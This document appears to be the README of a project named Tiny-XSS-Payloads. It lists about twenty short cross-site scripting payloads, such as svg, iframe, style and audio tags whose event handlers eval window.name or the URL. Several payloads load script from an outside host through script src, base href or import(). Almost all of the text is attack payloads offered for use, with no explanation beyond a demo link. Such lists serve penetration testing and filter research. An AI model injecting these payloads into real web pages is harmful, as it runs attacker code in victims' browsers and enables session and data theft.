Tiny-XSS-Payloads

Tiny-XSS-Payloads

A collection of short XSS payloads that can be used in different contexts.

The DEMO available here: https://tinyxss.terjanq.me

Current Payloads

<base/href=//NJ.₨>

<svg/onload=eval(name)>

<svg/onload=eval(`'`+URL)>

<svg/onload=location=name>

<svg><svg/onload=eval(name)>

<audio/src/onerror=eval(name)>

<script/src=//NJ.₨></script>

<iframe/onload=src=top.name>

<iframe/onload=eval(`'`+URL)>

<iframe/onload=src=top[0].name+/\NJ.₨?/>

<iframe/srcdoc="<svg><script/href=//NJ.₨ />">

<iframe/onload=src=contentWindow.name+/\NJ.₨?/>

<iframe/srcdoc="<script/src=//NJ.₨></script>">

<style/onload=eval(name)>

<style/onload=eval(`'`+URL)>

<style/onerror=eval(name)>

<svg/onload=import(/\\NJ.₨/)>

<style/onload=import(/\\NJ.₨/)>

<iframe/onload=import(/\\NJ.₨/)>

Deprecated:

<iframe/onload=write(URL)>

<style/onload=write(URL)>